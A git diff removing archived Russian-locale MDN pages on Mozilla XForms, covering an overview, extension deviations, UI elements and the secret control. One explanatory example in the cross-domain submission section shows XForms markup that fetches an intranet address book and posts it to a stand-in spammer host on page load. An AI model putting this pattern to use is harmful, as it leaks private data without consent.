aboutsummaryrefslogtreecommitdiff
path: root/files/ru/archive/web/xforms
diff options
context:
space:
mode:
Diffstat (limited to 'files/ru/archive/web/xforms')
-rw-r--r--files/ru/archive/web/xforms/index.html105
-rw-r--r--files/ru/archive/web/xforms/mozilla_xforms_specials/index.html137
-rw-r--r--files/ru/archive/web/xforms/user_interface_elements/index.html101
-rw-r--r--files/ru/archive/web/xforms/user_interface_elements/secret/index.html32
4 files changed, 0 insertions, 375 deletions
diff --git a/files/ru/archive/web/xforms/index.html b/files/ru/archive/web/xforms/index.html
deleted file mode 100644
index 3216dd460b..0000000000
--- a/files/ru/archive/web/xforms/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: XForms
-slug: Archive/Web/XForms
-tags:
- - NeedsTranslation
- - TopicStub
- - XForms
-translation_of: Archive/Web/XForms
----
-<p>{{obsolete_header("gecko19")}}</p>
-
-<div class="note">
-<p><strong>Note: </strong>Support for XForms was removed from Firefox as of Firefox 19. See the <a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML Forms Guide</a> for approaches to creating forms in HTML5.</p>
-</div>
-
-<div class="callout-box"><strong><a class="external" href="http://xformsinstitute.com/essentials/browse/">XForms Essentials</a></strong><br>
-An online book giving you a guided tour of XForms.</div>
-
-<div><strong>XForms</strong> were envisioned as the future of online forms as envisioned by the W3C. Drawing on other W3C standards like <a href="/en/XML_Schema" title="en/XML_Schema">XML Schema</a>, <a href="/en/XPath" title="en/XPath">XPath</a>, and <a href="/en/XML_Events" title="en/XML_Events">XML Events</a>, XForms tries to address some of the limitations with the current <a href="/en/HTML" title="en/HTML">HTML</a> forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit <a href="/en/XML" title="en/XML">XML</a> data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a <a class="external" href="http://www.w3.org/MarkUp/Forms/">W3C specification</a>.</div>
-
-<div class="callout-box"><strong><a class="external" href="http://en.wikibooks.org/wiki/XForms">XForms Tutorial and Cookbook</a></strong><br>
-XForms in Wikibook Format - Over 50 examples tested with Firefox.</div>
-
-<div>
-<p>XForms support can be added to Firefox and SeaMonkey by installing the Mozilla XForms extension. This extension, while supporting a significant subset of the XForms 1.0 and 1.1 candidate recommendations, <strong>is not actively maintained any more since about 2010</strong>. The last official release has been done for Firefox 3.6 and is available for download on <a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/mozilla-xforms/" title="https://addons.mozilla.org/de/firefox/addon/mozilla-xforms/">addons.mozilla.org</a>.<br>
- For more details about the future of the Mozilla XForms extension see this <a class="external" href="http://philipp.wagner.name/blog/2011/07/the-future-of-mozilla-xforms/" title="http://philipp.wagner.name/blog/2011/07/the-future-of-mozilla-xforms/">blog post</a>.</p>
-</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h4 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=XForms&amp;language=en" title="Special:Tags?tag=XForms&amp;language=en">Документация</a></h4>
-
- <dl>
- <dt><a href="/en/XForms/Implementation_Status" title="en/XForms/Implementation_Status">Статус реализации</a></dt>
- <dd><small>Статус реализации расширения Mozilla XForms</small></dd>
- <dt><a class="internal" href="/en/XForms/Building_Mozilla_XForms" title="en/XForms/Building Mozilla XForms">Построение</a></dt>
- <dd><small>Get started with building your own XForms extensions from source.</small></dd>
- <dt><a href="/en/XForms/Form_Troubleshooting" title="en/XForms/Form_Troubleshooting">Советы по устранению распространённых проблем XForms</a></dt>
- <dd><small>Небольшой сборник советов по устранению распространённых проблем с XForms forms.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/Mozilla_XForms_Specials" title="en/XForms/Mozilla_XForms_Specials">Mozilla XForms specials</a></dt>
- <dd><small>Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/Custom_Controls" title="en/XForms/Custom_Controls">Пользовательские элементы управления XForms</a></dt>
- <dd><small>Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG <code>input</code> control.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/User_preferences" title="en/XForms/User_preferences">XForms user preferences</a></dt>
- <dd><small>A description of the <code>about:config</code> variables that XForms uses.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/API_Reference" title="en/XForms/API_Reference">XForms API reference</a></dt>
- <dd><small>XForms interfaces documentation.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/User_Interface_Elements" title="en/XForms/User_Interface_Elements">XForms UI Elements reference</a></dt>
- <dd><small>XForms user interface elements documentation.</small></dd>
- </dl>
-
- <p><span class="alllinks"><a href="https://developer.mozilla.org/en-US/docs/tag/XForms" title="Special:Tags?tag=XForms&amp;language=en">View All...</a></span></p>
- </td>
- <td>
- <h4 id="Community" name="Community">Сообщество</h4>
-
- <ul>
- <li>Просмотреть форумы Mozilla...</li>
- </ul>
-
- <p>{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }}</p>
-
- <ul>
- <li><a class="link-irc" href="irc://irc.mozilla.org/xforms">Канал #xforms на irc.mozilla.org</a></li>
- <li><a class="external" href="http://lists.w3.org/Archives/Public/www-forms/">Список рассылки W3C Forms</a></li>
- <li><a href="/en/XForms/Community" title="en/XForms/Community">Другие ссылки сообщества...</a></li>
- </ul>
-
- <h4 id="Tools" name="Tools">Tools</h4>
-
- <ul>
- <li><a class="external" href="http://xformsinstitute.com/validator/">XForms validator</a></li>
- <li><a class="external" href="http://beaufour.dk/index.php?sec=misc&amp;pagename=xforms">XForms Buddy</a></li>
- </ul>
-
- <p><span class="alllinks"><a href="/Special:Tags?tag=XForms:Tools&amp;language=en" title="Special:Tags?tag=XForms:Tools&amp;language=en">Просмотреть всё...</a></span></p>
-
- <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
-
- <dl>
- <dd><a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/HTML" title="en/HTML">HTML</a>, <a href="/en/XHTML" title="en/XHTML">XHTML</a>, <a href="/en/XML" title="en/XML">XML</a>, <a href="/en/XPath" title="en/XPath">XPath</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }}</p>
diff --git a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html b/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html
deleted file mode 100644
index eaae0d01ce..0000000000
--- a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html
+++ /dev/null
@@ -1,137 +0,0 @@
----
-title: Mozilla XForms Specials
-slug: Archive/Web/XForms/Mozilla_XForms_Specials
-translation_of: Archive/Web/XForms/Mozilla_XForms_Specials
----
-<p dir="rtl"> </p>
-
-<h3 id="Introduction" name="Introduction">Introduction</h3>
-
-<p>This article gives an overview of where the <em>Mozilla XForms Extension</em> deviates from the official <em>XForms 1.0 Specification</em> . This covers both limitations in the extension, and custom extensions.</p>
-
-<h3 id="Limitations" name="Limitations">Limitations</h3>
-
-<h4 id="Repeat_Using_Attributes" name="Repeat_Using_Attributes">Repeat Using Attributes</h4>
-
-<p>The specifications mentions <a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Creating Repeating Structures Via Attributes"</a>, this is <strong>partially</strong> supported.</p>
-
-<p>(limitation tracked in {{ Bug(280368) }})</p>
-
-<h4 id="Mixing_Repeat_and_table_or_ul" name="Mixing_Repeat_and_table_or_ul">Mixing Repeat and <code>table</code> or <code>ul</code></h4>
-
-<p>It is not possible to mix repeats with either <code>table</code> or <code>ul</code>. That means that it is <strong>not</strong> possible to do:</p>
-
-<div class="warning">
-<pre>&lt;table&gt;
- &lt;xf:repeat ...&gt;
- &lt;tr&gt; ... &lt;/tr&gt;
- &lt;/xf:repeat&gt;
-&lt;/table&gt;
-</pre>
-</div>
-
-<p>or</p>
-
-<div class="warning">
-<pre>&lt;ul&gt;
- &lt;xf:repeat ...&gt;
- &lt;li&gt; ... &lt;/li&gt;
- &lt;/xf:repeat&gt;
-&lt;/ul&gt;
-</pre>
-</div>
-
-<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> states that mixing with <code>table</code> will probably never work. Mixing with <code>ul</code> might suffer from the same limitation.</p>
-
-<h4 id="Pseudo_class_support" name="Pseudo_class_support">Pseudo-class support</h4>
-
-<p>We currently support all the CSS <a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classes</a> in XForms (<code>:enabled, :disabled</code>, etc. ), <strong>except</strong> for <code>:read-only</code> and <code>:read-write</code>, because of non-specified behaviour of these for (X)<a href="/en/HTML" title="en/HTML">HTML</a>. Instead you have to use <code>:-moz-read-only</code> and <code>:-moz-read-write</code> for now.</p>
-
-<p>(limitation tracked in {{ Bug(313111) }})</p>
-
-<h4 id="Pseudo_element_support" name="Pseudo_element_support">Pseudo element support</h4>
-
-<p>There is <strong>no</strong> support for the pseudo elements (<code>::value, ::repeat-item, and ::repeat-index</code> ). Instead you will have to use the following normal classes instead:</p>
-
-<ul>
- <li><code>xf-value</code></li>
- <li><code>xf-repeat-item</code></li>
- <li><code>xf-repeat-index</code></li>
-</ul>
-
-<p>For example, to target the value element of an <code>input</code> control use:</p>
-
-<pre>@namespace xf url("http://www.w3.org/2002/xforms");
-xf|input .xf-value {
- ...
-}
-</pre>
-
-<p>The pseudo elements are defined in the <em><a href="/en/CSS" title="en/CSS">CSS</a>3 Basic User Interface specification</em> .</p>
-
-<p>(limitation tracked in {{ Bug(271724) }})</p>
-
-<h4 id="Repeat_Using_Attributes" name="Repeat_Using_Attributes">Optional parameters in XPath functions</h4>
-
-<p>Optional parameters in XPath functions are not supported, you will have to specify all parameters when calling a function. This affects functions like <code>hmac()</code> or <code>digest()</code>.</p>
-
-<p>Instead of using</p>
-
-<div class="warning">
-<pre>digest('abc', 'SHA-1')
-</pre>
-</div>
-
-<p>explicitly use the third parameter (the results are equal):</p>
-
-<pre>digest('abc', 'SHA-1', 'base64')
-</pre>
-
-<p>(limitation tracked in {{ Bug(477857) }})</p>
-
-<h3 id="Extensions" name="Extensions">Extensions</h3>
-
-<h4 id="Enumerating_Instances" name="Enumerating_Instances">Enumerating Instances</h4>
-
-<p>The standardized <a href="/en/XPCOM_Interface_Reference/nsIXFormsModelElement" title="en/XPCOM_Interface_Reference/nsIXFormsModelElement">nsIXFormsModelElement</a> does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the <em>Mozilla XForms Extension</em> we added a <code>getInstanceDocuments()</code> function to the <code>model</code> which returns all the model's instance documents. This is documented in <a href="/en/XPCOM_Interface_Reference/nsIXFormsNSModelElement" title="en/XPCOM_Interface_Reference/nsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.</p>
-
-<h4 id="Getting_To_Instance_Element_From_A_Data_Node" name="Getting_To_Instance_Element_From_A_Data_Node">Getting To Instance Element From A Data Node</h4>
-
-<p>In the XForms 1.0 specification there is no way to get to the <code>instance</code> element from an instance data node. We have added a function via the <code>getFeature()</code> call on each node, that allows the form author to do that. That is, if <code>instanceNode</code> is a node in an instance document, then:</p>
-
-<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
-</pre>
-
-<p>will return the <code>&lt;instance&gt;</code> element (in the main document) that the node belongs to.</p>
-
-<h4 id="Getting_To_The_Instance_Document_From_The_Instance_Element" name="Getting_To_The_Instance_Document_From_The_Instance_Element">Getting To The Instance Document From The Instance Element</h4>
-
-<p>In the XForms 1.0 specification you have to go through the <code>model</code> element to get to the instance document. It seems a bit awkward if you have the <code>instance</code> element, so we have added a <code>getInstanceDocument()</code> function directly on the <code>instance</code> element as a shortcut. This is documented in <a href="/en/XPCOM_Interface_Reference/nsIXFormsNSInstanceElement" title="en/XPCOM_Interface_Reference/nsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.</p>
-
-<h4 id="Custom_Control_Interface" name="Custom_Control_Interface">Custom Control Interface</h4>
-
-<p>We have added a lot of functionality to our user interface, which allows the form authors to create <em>custom controls</em>. It involves exposing some (script) functionality on all our controls, like <code>output</code>, <code>input</code>, etc. and allowing the UI to be represented in <a href="/en/XBL" title="en/XBL">XBL</a>. More information can be found in <a href="/en/XForms/Custom_Controls" title="en/XForms/Custom_Controls">XForms:Custom Controls</a>.</p>
-
-<h4 id="labelposition">labelposition</h4>
-
-<p>For <code>xforms:input </code>elements bound to a boolean node we support an attribute <code>labelposition</code> in the namespace <code><a class="external" href="http://www.mozilla.org/projects/xforms/2009/extensions" rel="freelink">http://www.mozilla.org/projects/xfor...009/extensions</a></code>, which allows the form author to define on which side of the checkbox the label will be shown. For details, see the <a href="/en/XForms/User_Interface_Elements/Input" title="https://developer.mozilla.org/en/XForms/User_Interface_Elements/Input">input control documentation</a>.</p>
-
-<h3 id="Misc" name="Misc">Misc</h3>
-
-<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Cross Domain Submission</h4>
-
-<p>Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the <em>Release Notes</em></p>
-
-<p>The cross domain check also includes forms loaded from <code>file://</code>. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.</p>
-
-<p>If you are wondering why we have this restriction, here is a simple example of why:</p>
-
-<pre>&lt;xforms:model&gt;
- &lt;xforms:instance src="http://intranetserver/addrbook.xml"/&gt;
- &lt;xforms:submission id="sub" action="http://megaspammer.com/gather"
- method="post"/&gt;
- &lt;xforms:send submission="sub" ev:event="xforms-ready"/&gt;
-&lt;/xforms:model&gt;
-</pre>
-
-<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="nowiki">http://megaspammer.com/gather</span></code> as soon as you view the XForm.</p>
diff --git a/files/ru/archive/web/xforms/user_interface_elements/index.html b/files/ru/archive/web/xforms/user_interface_elements/index.html
deleted file mode 100644
index 8dd7fcdc8e..0000000000
--- a/files/ru/archive/web/xforms/user_interface_elements/index.html
+++ /dev/null
@@ -1,101 +0,0 @@
----
-title: Mozilla XForms User Interface
-slug: Archive/Web/XForms/User_Interface_Elements
-tags:
- - NeedsTranslation
- - TopicStub
- - XForms
-translation_of: Archive/Web/XForms/User_Interface_Elements
----
-<h3 id="Introduction">Introduction</h3>
-<p>This article is a quick reference of the XForms user interface elements. Mainly this is aimed to document how XForms elements will be presented in Mozilla since the XForms specifications give only a hint of how controls might be rendered.</p>
-<p>Currently XForms can be hosted by XHTML and XUL in Seamonkey and Firefox. Later we have plans to support XForms hosted by SVG. The XForms specs define two kinds of XForms UI elements, called 'Form Controls' and 'XForms User Interface'. Elements from the "Form Controls" group allows users to interact with instance data. The set of "XForms User Interface" elements exist to aid form authors in combining host language markup and XForms markup together in order to build user interfaces. Some of the 'Form Controls' can have multiple appearances and thus may be rendered in multiple ways. We use the data type of the instance node that the form control is bound to as a clue when making a rendering decision. The form author can also use the 'appearance' attribute on the form control to give us another clue. For example, a XForms input control may appear as a text field or as a datepicker depending on whether it is bound to a xsd:string type or a xsd:date type. When a xf:output binds to a node that has a type of xsd:date, we output the date value as plain text. An output bound to a date and also having @appearance='full' will display as a calendar.</p>
-<p>This article uses several notations. If you see <small>Fx 3.0 only</small>, that means that the control will only be available for Firefox 3.0 (Gecko 1.9). There are several possible reasons for this restriction. The first is that the changes required for such controls could not be safely made to Firefox 1.5 or Firefox 2.0. The second is that the control is introduced in XForms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more stable. For instance, when the spec reaches 'recommendation'-level status. If you see <small>xhtml/xul</small> then it means the control is available when XForms is hosted in either XHTML or XUL. Similarly, if you see <small>xhtml only</small> or <small>xul only</small>, then it means the control is available only in that host language.</p>
-<h3 id="Attribute_Sets" name="Attribute_Sets">Attribute Sets</h3>
-<p>This section describes attributes that are often used on XForms elements. These attributes are combined into following logical groups.</p>
-<h4 id="UI_Common" name="UI_Common">UI Common</h4>
-<p>The UI Common attribute set (see the <a class="external" href="http://www.w3.org/TR/xforms/#attrs-ui-common">spec</a>) contains the attributes that are available for the XForms elements that are used to build the user interface presentation in a form.</p>
-<ul>
- <li>appearance - the value provided by the form author gives a hint to the processor as to which widget to use to represent the XForms control. Three possible values are available to the author: minimal, compact and full. Generally speaking, the main purpose for these values is to reflect how much space (screen real estate) the displayed widget will take.</li>
- <li>tabindex - defines the keyboard navigation sequence between controls.</li>
- <li>accesskey - keyboard shortcut for moving focus to an XForms element.</li>
-</ul>
-<h4 id="Binding_attributes" name="Binding_attributes">Binding attributes</h4>
-<p>Single-Node (see the <a class="external" href="http://www.w3.org/TR/xforms/#structure-attrs-single-node">spec</a>) and Node-Set (see the <a class="external" href="http://www.w3.org/TR/xforms/#structure-attrs-nodeset">spec</a>) attributes are used to bind XForms elements to instance nodes. These attributes are: ref, nodeset, model and bind.</p>
-<h3 id="XForms_Elements" name="XForms_Elements">XForms Elements</h3>
-<p>Almost every XForms element can be presented as one of serveral different kinds of widgets. This section contains a short description of each XForms element and its representation. The XForms specification offers suggestions for some of the representations, but some of the widgets we use are only available in the Mozilla XForms processor. The choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to. The form author can also influence the widget by using the appearance attribute on the element.</p>
-<h4 id="Form_Controls_Module" name="Form_Controls_Module">Form Controls Module</h4>
-<p>This section contains a short description for each form control element.</p>
-<h5 id="input" name="input"><a href="/en-US/docs/XForms/User_Interface_Elements/Input">input</a></h5>
-<p>A key xforms element to show and change the instance data to which it is bound. Usually bound to data that can be well-represented by a string (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-input">spec</a>). It can have the following representations:</p>
-<ul>
- <li>text field - default representation. Used for most data types, especially text data.</li>
- <li>checkbox - used for boolean instance data</li>
- <li>datepicker - default representation for date data types. Similar to a combobox. Consists of a text field for direct input and a dropdown calendar that can also be used to input the date value.</li>
- <li>calendar - used for date data types when appearance = 'full'.</li>
- <li>days list - used when the data has a data type of day.</li>
- <li>months list - used when the data has a data type of month.</li>
- <li>number field - used for numerical data types.</li>
-</ul>
-<h5 id="secret" name="secret"><a href="/en-US/docs/XForms/User_Interface_Elements/Secret">secret</a></h5>
-<p>Used for inputting passwords. Each character typed by the user is represented by an asterisk on the screen (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-secret">spec</a>).</p>
-<h5 id="textarea" name="textarea"><a href="/en-US/XForms/User_Interface_Elements/Textarea">textarea</a></h5>
-<p>Serves to show/change multiline text (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-textarea">spec</a>).</p>
-<h5 id="output" name="output"><a href="/en-US/XForms/User_Interface_Elements/Output">output</a></h5>
-<p>Serves to show the instance data that the element is bound to in a read-only manner (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-output">spec</a>). It can have the following presentations:</p>
-<ul>
- <li>text - default representation for data of most types, especially static text.</li>
- <li>calendar - used for date data types when appearance = 'full'.</li>
- <li>image - if the instance node contains an image, then an output element can be used in combination with the mediatype element to display the image.</li>
-</ul>
-<h5 id="upload" name="upload"><a href="/en-US/XForms/User_Interface_Elements/Upload">upload</a></h5>
-<p>Provides a means for the user to select a file (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-upload">spec</a>).</p>
-<h5 id="range" name="range"><a href="/en-US/XForms/User_Interface_Elements/Range">range</a></h5>
-<p>Allows the user to choose a value from within a specific range of values. It is represented by a slider widget (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-range">spec</a>).</p>
-<h5 id="trigger" name="trigger"><a href="/en-US/XForms/User_Interface_Elements/Trigger">trigger</a></h5>
-<p>Allows the user to initiate actions (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-trigger">spec</a>). It can have the following representations:</p>
-<ul>
- <li>button - default representation.</li>
- <li>link/clickable text - used when appearance = 'minimal'.</li>
-</ul>
-<h5 id="submit" name="submit"><a href="/en-US/XForms/User_Interface_Elements/Submit">submit</a></h5>
-<p>Invokes the submission of the selected instance data to its target destination, which could be local or remote (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-submit">spec</a>). It can have the following representations:</p>
-<ul>
- <li>button - default representation.</li>
- <li>link/clickable text - used when appearance = 'minimal'.</li>
-</ul>
-<h5 id="select" name="select"><a href="/en-US/XForms/User_Interface_Elements/select">select</a></h5>
-<p>List control. Allows the user to choose one or multiple values from a list of pre-defined values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-selectMany">spec</a>). It can have the following representations:</p>
-<ul>
- <li>listbox - default representation</li>
- <li>checkbox group - used when appearance = 'full'</li>
-</ul>
-<h5 id="select1" name="select1"><a href="/en-US/XForms/User_Interface_Elements/Select1">select1</a></h5>
-<p>Combobox control. Allows the user to choose a single value from a list of pre-defined values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-selectOne">spec</a>). It can have the following representations:</p>
-<ul>
- <li>combobox - default representation</li>
- <li>listbox - used when appearance = 'compact'</li>
- <li>radio group - used when appearance = 'full'</li>
-</ul>
-<h4 id="Additional_Elements" name="Additional_Elements">Additional Elements</h4>
-<p>These elements may be used as child elements to the form controls described above.</p>
-<h5 id="label" name="label"><a href="/en-US/XForms/User_Interface_Elements/Label">label</a></h5>
-<p>Specifies the label for the xforms control (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-label">spec</a>). Every form control other than the output element must contain a label element. It is valid for a form control to have an empty label element.</p>
-<h5 id="help" name="help"><a href="/en-US/XForms/User_Interface_Elements/Help">help</a></h5>
-<p>Specifies contextual help for the containing form control (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-help">spec</a>). The help will be displayed if the F1 key is pressed while the containing form control has focus.</p>
-<h5 id="hint" name="hint"><a href="/en-US/XForms/User_Interface_Elements/Hint">hint</a></h5>
-<p>Similar to a tooltip (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-hint">spec</a>). The hint is displayed when the mouse moves and pauses over the containing form control.</p>
-<h5 id="alert" name="alert"><a href="/en-US/XForms/User_Interface_Elements/Alert">alert</a></h5>
-<p>This message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-common-elements-alert">spec</a>).</p>
-<h5 id="message" name="message"><a href="/en-US/XForms/User_Interface_Elements/Message">message</a></h5>
-<p>Used in combination with event listeners to display a message to the user when the specified event occurs (see the <a class="external" href="http://www.w3.org/TR/xforms/#action-info">spec</a>).</p>
-<h4 id="XForms_User_Interface" name="XForms_User_Interface">XForms User Interface</h4>
-<p>These elements are mainly used to organize and manage the form's markup.</p>
-<p>They can be bound to instance nodes to define context for the xforms controls that they contain, should any of their child nodes happen to use relative xpath expressions. Binding these elements to instance data is also a way to apply Model Item Properties (for example, relevancy) to the elements.</p>
-<p>Elements in this section do not have any behaviors that are dependent on the host language.</p>
-<h5 id="group" name="group"><a href="/en-US/XForms/User_Interface_Elements/Group">group</a></h5>
-<p>This element is used to logically group xforms elements together (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-group">spec</a>).</p>
-<h5 id="switch" name="switch"><a href="/en-US/XForms/User_Interface_Elements/Switch">switch</a></h5>
-<p>This element is used in conjunction with <code>case</code> and <code>toggle</code> elements (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-conditional">spec</a>). The <code>switch</code> element contains <code>case</code> elements which in turn contain markup. Only the contents of a single case may be displayed at one time. The <code>toggle</code> element is used (as an event handler) to make a <code>case</code> visible and thereby hiding all other <code>case</code> elements contained by the same <code>switch</code>.</p>
-<h5 id="repeat" name="repeat"><a href="/en-US/XForms/User_Interface_Elements/Repeat">repeat</a></h5>
-<p>A repeat element contains markup and is itself bound to a nodeset in an instance document (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-repeat">spec</a>). For each node in the nodeset, the contents of the repeat element will be displayed in the form. That node will serve as the context node for any relative xpath expressions in that set of repeated markup. For example, if a repeat is bound to a nodeset that contains 5 nodes and the repeat contains an <code>output</code> element that echoes the current node, then the user will see 5 outputs in the form. Combined together, these outputs would echo the value of every node in the selected nodeset.</p>
diff --git a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html b/files/ru/archive/web/xforms/user_interface_elements/secret/index.html
deleted file mode 100644
index bcf82e040f..0000000000
--- a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: XForms Secret Element
-slug: Archive/Web/XForms/User_Interface_Elements/Secret
-translation_of: Archive/Web/XForms/User_Interface_Elements/Secret
----
-<p> </p>
-<h3 id="Introduction" name="Introduction"> Introduction </h3>
-<p>Used for inputting passwords or other sensitive text. Each character typed by the user is represented by an asterisk on the screen (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-secret">spec</a>).
-</p>
-<h3 id="Attributes" name="Attributes"> Attributes </h3>
-<ul><li> UI Common
-<ul><li> appearance - isn't supported.
-</li><li> accesskey - used to specify the keyboard shortcut for focusing this control.
-</li></ul>
-</li><li> Single-Node Binding
-</li><li> Special
-<ul><li> inputmode - isn't supported.
-</li><li> incremental - supported. The default value is <code>false</code>.
-</li></ul>
-</li></ul>
-<p><br>
-</p>
-<h3 id="Type_restrictions" name="Type_restrictions"> Type restrictions </h3>
-<p>The <code>secret</code> element can be bound to a node containing simple content of any data type except <code>xsd:base64Binary</code>, <code>xsd:hexBinray</code> or any data type derived from these.
-</p>
-<h3 id="Representations" name="Representations"> Representations </h3>
-<p>The XForms <code>secret</code> element is represented by a password field. The password field is a text field, the value of which is hidden by asterisks <small>(xhtml/xul)</small>.
-</p><p>Characteristics
-</p>
-<ul><li> analogous widgets are &lt;xhtml:input type="password"/&gt; and &lt;xul:textbox type="password"/&gt;
-</li><li> if the <code>incremental</code> attribute is present and has the value <code>true</code>, then the bound instance node is updated on every user input. Please keep in mind that the instance data will hold exactly what the user gave as input. Any other XForm control bound to that data will show that data 'as is'.
-</li></ul>